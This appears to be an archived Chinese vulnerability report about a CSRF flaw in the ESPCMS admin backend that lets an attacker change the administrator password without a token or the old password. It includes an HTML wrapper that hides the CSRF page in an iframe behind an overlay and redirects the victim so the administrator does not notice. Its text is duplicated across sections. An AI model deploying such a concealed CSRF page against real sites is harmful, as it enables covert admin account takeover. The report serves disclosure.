### 简要描述： ESPCMS后台CSRF修改管理密码 ### 详细说明： 修改管理员密码没有验证原密码 我也是醉了 抓包 [<img src="https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg) [<img src="https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png) 没有token值验证 构造表单试试？ [<img src="https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg) [<img src="https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png" alt="4.png" width="600"...
### 简要描述： ESPCMS后台CSRF修改管理密码 ### 详细说明： 修改管理员密码没有验证原密码 我也是醉了 抓包 [<img src="https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg) [<img src="https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png) 没有token值验证 构造表单试试？ [<img src="https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg) [<img src="https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png) ok啊 可以修改啊 表单构造好了，但是修改好了之后随便不会提示修改了密码，但是会自动跳转到后台，这样就会被管理员发现或者产生怀疑了~~ 肿么破？？？ 我们利用回旋镖~ 我们新建一个html，代码如下 ``` <html> <table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>乌云测试</h1></td></tr></tbody></table>< <meta http-equiv="refresh" content="4;url=http://www.wooyun.org/"> <!--设置一个正常的跳转页面！--> <title>test</title> <iframe src="http://localhost/test.html"></iframe><!--csrf攻击页面的地址！--> </html> ``` 这样我们只要访问这个test页面之后就可以修改其密码，而且这个页面会自动跳转到你想跳转的地方（当然，这个页面你可以适度美化，掩饰） [<img src="https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg" alt="DNC4()XV%0X~M4UN`IKRF(S.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg) ok ### 漏洞证明： 修改管理员密码没有验证原密码 我也是醉了 抓包 [<img src="https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1323185352031d2b2cec6bebf8ba0831e87b8edf.jpg) [<img src="https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231859deb12ba4ac61145be542287ba2d44ed9.png) 没有token值验证 构造表单试试？ [<img src="https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13231922ad16f852546f9e1ab133ce76f87ae61d.jpg) [<img src="https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/132319272439f5b7c1d90d8299e19c969fd30d50.png) ok啊 可以修改啊 表单构造好了，但是修改好了之后随便不会提示修改了密码，但是会自动跳转到后台，这样就会被管理员发现或者产生怀疑了~~ 肿么破？？？ 我们利用回旋镖~ 我们新建一个html，代码如下 ``` <html> <table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>乌云测试</h1></td></tr></tbody></table>< <meta http-equiv="refresh" content="4;url=http://www.wooyun.org/"> <!--设置一个正常的跳转页面！--> <title>test</title> <iframe src="http://localhost/test.html"></iframe><!--csrf攻击页面的地址！--> </html> ``` 这样我们只要访问这个test页面之后就可以修改其密码，而且这个页面会自动跳转到你想跳转的地方（当然，这个页面你可以适度美化，掩饰） [<img src="https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg" alt="DNC4()XV%0X~M4UN`IKRF(S.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/13232808791806839094602bfab175c3f66d0178.jpg) ok
